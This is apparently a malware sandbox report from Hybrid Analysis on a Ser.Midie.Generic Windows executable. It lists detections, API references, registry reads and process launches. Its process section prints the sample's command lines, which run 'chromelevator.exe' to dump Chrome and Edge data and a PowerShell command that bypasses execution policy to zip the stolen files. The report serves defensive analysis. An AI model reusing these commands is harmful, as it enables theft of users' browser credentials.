26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 6a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4d6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ser.Midie.Generic Sample 74444301b3b3… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 74444301b3b3…. Malware family: Ser.Midie.Generic. Threat score 100/100. 15/26 AV engines flagged this file. 18 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3","keywords":["Malicious","Ser.Midie.Generic","malware analysis","sandbox report","threat intelligence","74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3"],"about":{"@type":"SoftwareApplication","name":"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ser.Midie.Generic","antivirusDetections":{"malicious":15,"total":26},"behavioralIndicators":{"malicious":18,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T9e4,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp")28:T77b,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp")29:T668,"chromelevator.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS") "chromelevator.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS") "chromelevator.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER") "chromelevator.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER") "chromelevator.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION") "chromelevator.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS") "chromelevator.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP") "chromelevator.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION") "chromelevator.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP") "chromelevator.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP") "chromelevator.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED") "chromelevator.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED") "chromelevator.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE") "chromelevator.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE") "chromelevator.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY") "chromelevator.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY")2a:Ta1c," nul" - (UID: 00000000-00003036) "PLA6A1.tmp" called "CreateProcessA" with parameter ""%TEMP%\chromelevator.exe" chrome --output-path "%TEMP%\\Winapi\Browsers\Chrome_raw" --kill" - (UID: 00000000-00003036) "PLA6A1.tmp" called "CreateProcessA" with parameter ""%TEMP%\chromelevator.exe" edge --output-path "%TEMP%\\Winapi\Browsers\Edge_raw" --kill" - (UID: 00000000-00003036) "PLA6A1.tmp" called "CreateProcessA" with parameter "powershell -ExecutionPolicy Bypass -Command "Compress-Archive -Path '%TEMP%\\Winapi\*' -DestinationPath '%TEMP%\\win.zip' -Force"" - (UID: 00000000-00003036) "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00003500) "chromelevator.exe" called "CreateProcessW" with parameter "%PROGRAMFILES%\Google\Chrome\Application\chrome.exe" - (UID: 00000000-00004020) "chromelevator.exe" called "CreateProcessW" with parameter "%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" - (UID: 00000000-00007000)41:T465e,"t.cpos);" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "create table colnames( cpos integer primary key, name text, nlen int, chop int, reps int, suff text);create view repeatednames as select distinct t.name from colnames t where t.name collate nocase in ( select o.name from colnames o where o.cpos<>t.cpos);"), "INSERT INTO ColNames(name,nlen,chop,reps,suff) VALUES(iif(length(?1)>0 ?1 '?') max(length(?1) 1) 0 0 '')" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "insert into colnames(name,nlen,chop,reps,suff) values(iif(length(?1)>0 ?1 '?') max(length(?1) 1) 0 0 '')"), "SELECT count(DISTINCT (substring(name,1,nlen-chop)||suff) COLLATE NOCASE) 0 ' ' x'0a'||' ')) ||')' AS ColsSpec FROM ( SELECT cpos, printf('"%w"',printf('%!.*s%s', nlen-chop,name,suff)) AS cname FROM ColNames ORDER BY cpos)" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "select '('||x'0a' || group_concat( cname||' text', ','||iif((cpos-1)%4>0 ' ' x'0a'||' ')) ||')' as colsspec from ( select cpos, printf('"%w"',printf('%!.*s%s', nlen-chop,name,suff)) as cname from colnames order by cpos)"), "SELECT group_concat( printf('"%w" to "%w"',name,printf('%!.*s%s', nlen-chop, name, suff)) ','||x'0a')FROM ColNames WHERE suff<>'' OR chop!=0" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "select group_concat( printf('"%w" to "%w"',name,printf('%!.*s%s', nlen-chop, name, suff)) ','||x'0a')from colnames where suff<>'' or chop!=0"), "SELECT*FROM"%w".%s WHERE %s ORDER BY rowid" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "select*from"%w".%s where %s order by rowid"), "SELECT 1 FROM "%w".sqlite_master WHERE name NOT LIKE 'sqliteX_%%' ESCAPE 'X' AND sql NOT LIKE 'create virtual%%' AND sqlite_rename_test(%Q, sql, type, name, %d, %Q, %d)=NULL" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "select 1 from "%w".sqlite_master where name not like 'sqlitex_%%' escape 'x' and sql not like 'create virtual%%' and sqlite_rename_test(%q, sql, type, name, %d, %q, %d)=null"), "SELECT 1 FROM temp.sqlite_master WHERE name NOT LIKE 'sqliteX_%%' ESCAPE 'X' AND sql NOT LIKE 'create virtual%%' AND sqlite_rename_test(%Q, sql, type, name, 1, %Q, %d)=NULL" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "select 1 from temp.sqlite_master where name not like 'sqlitex_%%' escape 'x' and sql not like 'create virtual%%' and sqlite_rename_test(%q, sql, type, name, 1, %q, %d)=null"), "UPDATE "%w".sqlite_master SET sql = sqlite_rename_quotefix(%Q, sql)WHERE name NOT LIKE 'sqliteX_%%' ESCAPE 'X' AND sql NOT LIKE 'create virtual%%'" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "update "%w".sqlite_master set sql = sqlite_rename_quotefix(%q, sql)where name not like 'sqlitex_%%' escape 'x' and sql not like 'create virtual%%'"), "UPDATE temp.sqlite_master SET sql = sqlite_rename_quotefix('temp', sql)WHERE name NOT LIKE 'sqliteX_%%' ESCAPE 'X' AND sql NOT LIKE 'create virtual%%'" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "update temp.sqlite_master set sql = sqlite_rename_quotefix('temp', sql)where name not like 'sqlitex_%%' escape 'x' and sql not like 'create virtual%%'"), "UPDATE "%w".sqlite_master SET sql = sqlite_rename_table(%Q, type, name, sql, %Q, %Q, %d) WHERE (type!='index' OR tbl_name=%Q COLLATE nocase)AND name NOT LIKE 'sqliteX_%%' ESCAPE 'X'" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "update "%w".sqlite_master set sql = sqlite_rename_table(%q, type, name, sql, %q, %q, %d) where (type!='index' or tbl_name=%q collate nocase)and name not like 'sqlitex_%%' escape 'x'"), "UPDATE %Q.sqlite_master SET tbl_name = %Q name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "update %q.sqlite_master set tbl_name = %q name = case when type='table' then %q when name like 'sqlitex_autoindex%%' escape 'x' and type='index' then 'sqlite_autoindex_' || %q || substr(name,%d+18) else name end where tbl_name=%q collate nocase and (type='table' or type='index' or type='trigger');"), "UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "update "%w".sqlite_sequence set name = %q where name = %q"), "UPDATE sqlite_temp_schema SET sql = sqlite_rename_table(%Q, type, name, sql, %Q, %Q, 1) tbl_name = CASE WHEN tbl_name=%Q COLLATE nocase AND sqlite_rename_test(%Q, sql, type, name, 1, 'after rename', 0) THEN %Q ELSE tbl_name END WHERE type IN ('view', 'trigger')" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "update sqlite_temp_schema set sql = sqlite_rename_table(%q, type, name, sql, %q, %q, 1) tbl_name = case when tbl_name=%q collate nocase and sqlite_rename_test(%q, sql, type, name, 1, 'after rename', 0) then %q else tbl_name end where type in ('view', 'trigger')"), "SELECT raise(ABORT,%Q) FROM "%w"."%w"" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "select raise(abort,%q) from "%w"."%w""), "UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "update "%w".sqlite_master set sql = printf('%%.%ds, ',sql) || %q || substr(sql,1+length(printf('%%.%ds',sql))) where type = 'table' and name = %q"), "SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE quick_check GLOB 'CHECK*' OR quick_check GLOB 'NULL*' OR quick_check GLOB 'non-* value in*'" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "select case when quick_check glob 'check*' then raise(abort,'check constraint failed') when quick_check glob 'non-* value in*' then raise(abort,'type mismatch on default') else raise(abort,'not null constraint failed') end from pragma_quick_check(%q,%q) where quick_check glob 'check*' or quick_check glob 'null*' or quick_check glob 'non-* value in*'"), "UPDATE "%w".sqlite_master SET sql = sqlite_rename_column(sql, type, name, %Q, %Q, %d, %Q, %d, %d) WHERE name NOT LIKE 'sqliteX_%%' ESCAPE 'X' AND (type != 'index' OR tbl_name = %Q)" (Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp, Indicator: "update "%w".sqlite_master set sql = sqlite_rename_column(sql, type, name, %q, %q, %d, %q, %d, %d) where name not like 'sqlitex_%%' escape 'x' and (type != 'index' or tbl_name = %q)")44:T5ec,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "CreateProcessW failed:" (Indicator: "CreateProcess"; File: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "CreateProcessW failed:" (Indicator: "CreateProcess"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "4596283654,3468,3142,,CreateProcessA,kernel32.dll,"00:40:04.312",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00003036.00000000.154061.67B50000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API "CreateProcessW failed:" (Indicator: "CreateProcess"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp")45:T6b7,Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "CreateFile2" (Indicator: "CreateFile"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") file/memory contains long string with (Indicator: "CreateFile"; File: "AMSI") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API "CreateFile2" (Indicator: "CreateFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API "CreateFileMappingFromApp" (Indicator: "CreateFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp")46:T15465,Found reference to API (Indicator: "CryptHashData"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CryptDestroyKey"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CryptDecrypt"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CryptDeriveKey"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CryptCreateHash"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CryptDestroyHash"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CryptReleaseContext"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CryptAcquireContextW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetModuleFileNameW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "TerminateProcess"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetLocaleInfoW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetProcessHeap"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetCurrentProcess"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetTempFileNameA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetConsoleMode"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "EnterCriticalSection"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetCPInfo"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateProcessA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetTempPathA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetFileSizeEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FlsAlloc"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "WaitForSingleObject"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetFileType"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "IsDebuggerPresent"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "HeapSize"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "VirtualProtect"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetACP"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "ReadConsoleW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FindClose"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetStdHandle"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetModuleHandleW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "HeapFree"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetStartupInfoW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FreeLibrary"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FindNextFileW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateFileW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "InitializeSListHead"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FlsSetValue"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "HeapReAlloc"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SetFilePointerEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "EncodePointer"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "DecodePointer"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetCurrentThreadId"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FlsGetValue"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetCommandLineW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetOEMCP"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "LoadLibraryExW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SetStdHandle"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CloseHandle"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FindFirstFileExW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "WriteConsoleW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "DeleteFileA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "HeapAlloc"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "EnumSystemLocalesW"; File: 